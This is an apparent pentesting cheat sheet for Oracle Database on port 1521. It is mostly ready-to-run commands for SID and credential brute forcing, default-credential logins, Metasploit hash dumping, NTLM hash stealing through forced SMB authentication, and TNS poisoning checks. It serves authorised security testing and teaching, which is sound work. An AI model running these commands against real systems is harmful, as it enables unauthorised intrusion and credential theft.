Pentesting.Site - 1521

Pentesting Oracle Database

Oracle Database is commonly found in enterprise environments and listens on TCP port 1521. The TNS listener handles incoming connections, and once you have the right SID and credentials, a whole range of options open up, from SQL shells to hash dumps and even NTLM relays. The exploitation process can be a bit more tedious than other services, but misconfigurations and defaults are common, especially in legacy systems.

Discovery and Enumeration

Start by identifying valid SIDs, as without one, you’re not going anywhere in pentesting Oracle database. ODAT and Nmap can help you brute force common ones.

You can use ODAT (Oracle Database Attacking Tool), an open-source penetration testing tool that tests the security of Oracle Databases remotely.

1
sudo odat sidguesser -s 10.1.1.1                     # SID bruteforce with ODAT
2
sudo odat all -s 10.1.1.1 -p 1521 -d CLREXTPROC      # Run all modules on known SID
3
sudo odat all -s 10.1.1.1 -p 1521 -d XE              # Another ODAT scan
4
sudo odat all -s 10.1.1.1 -p 1521 -d PLSExtProc      # Target common SID
5

6
# Manually try E1LOCAL or add it to ODAT's wordlist

The Metasploit framework has a SID brute force module:

1
use auxiliary/admin/oracle/sid_brute
2
set RHOST 10.1.1.1
3
run

You can also use Nmap to attempt to brute force and discover valid SIDs:

1
sudo nmap --script=oracle-sid-brute -p 1521-1560 10.1.1.1        # Nmap Oracle SID bruteforce

Common SIDs

These are common across many Oracle environments. If you can’t find any valid ones, start with these:

1
E1LOCAL       # JD Edwards default SID
2
CLREXTPROC    # Common in Oracle installs
3
XE            # Oracle Express Edition
4
PLSExtProc    # Seen in many setups
5
PROD          # Production environment

Brute Forcing Credentials

Once you have a valid SID, try default credentials or perform a login brute force. You can use Metasploit:

1
# Metasploit - Oracle login bruteforce
2
use auxiliary/admin/oracle/oracle_login
3
set RHOST 172.18.1.21
4
set SID CLREXTPROC
5
run
6

7
# Try with another common SID
8
set SID PLSExtProc
9
run

You can also try credentials found in ODAT’s wordlist:

1
# JDE/JDE is a common default for JD Edwards, found in /usr/share/odat/accounts

SQLPlus Connection

If you discover working credentials, connect with SQLplus for direct database interaction. This is useful for manual querying or confirming access.

1
sqlplus "JDE/JDE@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=E1LOCAL)))"        # JD Edwards
2
sqlplus "JDE/JDE@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=E1LOCAL)))"        # Common Oracle setup
3
sqlplus "ABM/ABM@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=10.1.1.1)(Port=1521))(CONNECT_DATA=(SID=PROD)))"           # PROD database example

Hash Dump

Once authenticated, try dumping password hashes with Metasploit for lateral movement or cracking offline.

1
use auxiliary/scanner/oracle/oracle_hashdump
2
set RHOST 10.1.1.1
3
set SID E1LOCAL
4
run

SMB Relay via Oracle

If the target Oracle Database can reach your SMB server, you may be able to grab NTLM hashes via a forced authentication request using Metasploit.

1
use auxiliary/admin/oracle/ora_ntlm_stealer
2
set RHOST 10.1.1.1
3
run

TNS Poisoning

Older Oracle versions may be vulnerable to TNS poisoning, allowing man-in-the-middle attacks. You can use Wireshark and the https://github.com/interference-security/oracle-tns-poison tool.

1
tshark -i eth0 -f 'host 10.1.1.1 and tcp port 1521'                                       # Sniff traffic to Oracle
2
sudo python2 ~/PentestTools/oracle-tns-poison/check_tns_poison.py 10.1.1.1 1521           # Check for TNS poisoning vuln

1521 - Oracle